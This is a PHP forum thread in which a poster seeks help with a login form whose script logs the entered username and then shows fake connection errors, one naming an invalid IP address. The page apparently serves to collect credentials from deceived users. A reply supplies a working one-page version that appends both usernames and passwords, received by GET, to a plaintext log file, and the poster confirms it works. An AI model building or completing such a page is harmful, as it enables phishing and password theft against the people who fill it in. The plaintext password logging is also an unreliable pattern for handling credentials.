Saving a form to a text file using php.

PHP programming forum. Ask questions or help people concerning PHP code. Don't understand a function? Need help implementing a class? Don't understand a class? Here is where to ask. Remember to do your homework!

Moderator: General Moderators

Post Reply
User avatar
m0u53m4t
Forum Contributor
Posts: 101
Joined: Wed Apr 19, 2006 7:47 am
Location: Wales

Saving a form to a text file using php.

Post by m0u53m4t »

patrikG | Please use

Code: Select all

and

Code: Select all

tags where appropriate when posting code. Your post has been edited to reflect how we'd like it posted. Please read:  [url=http://forums.devnetwork.net/viewtopic.php?t=21171]Posting Code in the Forums[/url] to learn how to do it too.[/color]


Ok, here's my ultra basic HTML form:

Code: Select all

<form action="connecttoserver.php?userid=$username&password" method="get">
<input type="text" name="username" size="24">
<input type="password" name="password" size="24">
<input type="submit">
and here's the PHP file that goes with it:

Code: Select all

<?php
  $filename = "logfile.txt";
  if (isset($_GET["username"]))
  {
    if (!$handle = fopen($filename, 'a'))
    {
      echo "Error while connecting to server";
      exit;
    }
    else
    {
      if (fwrite($handle, "\r\n" . $_GET["username"]) === FALSE)
      {
        echo "Error while connecting to server";
        exit;
      }
    }
    echo "Error while communicating with 288.288.077.256";
    fclose($handle);
    exit;
  }
  echo "Error while connecting to server";
  exit;
?>
But when you fill out the forms it cant save both text boxes. Any ideas? 8O


patrikG | Please use

Code: Select all

and

Code: Select all

tags where appropriate when posting code. Your post has been edited to reflect how we'd like it posted. Please read:  [url=http://forums.devnetwork.net/viewtopic.php?t=21171]Posting Code in the Forums[/url] to learn how to do it too.[/color]
User avatar
R4000
Forum Contributor
Posts: 168
Joined: Wed Mar 08, 2006 12:50 pm
Location: Cambridge, United Kingdom

Post by R4000 »

Use syntax tags please!
Fixed it all up for you and made it into one page :)

Code: Select all

<?php
$filename = "logfile.txt";
if (isset($_GET["username"])){
 if (!$handle = fopen($filename, 'a')) {
  die ("Error while opening.");
 } else {
  if (fwrite($handle, "\r\n" . $_GET["username"]."\r\n" . $_GET["password"]) === FALSE){
   die("Error while writing.");
  }
 }
 echo "Added!";
 fclose($handle);
} else {
 echo "<form action=\"".$_SERVER['PHP_SELF']."\" method=\"GET\">\r\n";
 echo "<input type=\"text\" name=\"username\" size=\"24\" />\r\n";
 echo "<input type=\"password\" name=\"password\" size=\"24\" />\r\n";
 echo "<input type=\"submit\" value=\"Send!\" />\r\n";
 echo "</form>\r\n";
}
?>
Last edited by R4000 on Wed Apr 19, 2006 8:29 am, edited 1 time in total.
User avatar
m0u53m4t
Forum Contributor
Posts: 101
Joined: Wed Apr 19, 2006 7:47 am
Location: Wales

Post by m0u53m4t »

Ill give it a try... (sorry about the tags, im new here)

Edit: It works! Thanks! What was wrong with it?
User avatar
cj5
Forum Commoner
Posts: 60
Joined: Tue Jan 17, 2006 3:38 pm
Location: Long Island, NY, USA

Post by cj5 »

Are you trying to write the form information, or writing the actual HTML of the form? If you are trying to get the form information you will have to handle the checkbox information with some type of control structure. Otherwise, just push the HTML out to the text file via a print() or echo statement. You may need to add some parsing in there to avoid conflicting quotes, etc...
User avatar
m0u53m4t
Forum Contributor
Posts: 101
Joined: Wed Apr 19, 2006 7:47 am
Location: Wales

Post by m0u53m4t »

Its done now. R4000 fixed it!
Post Reply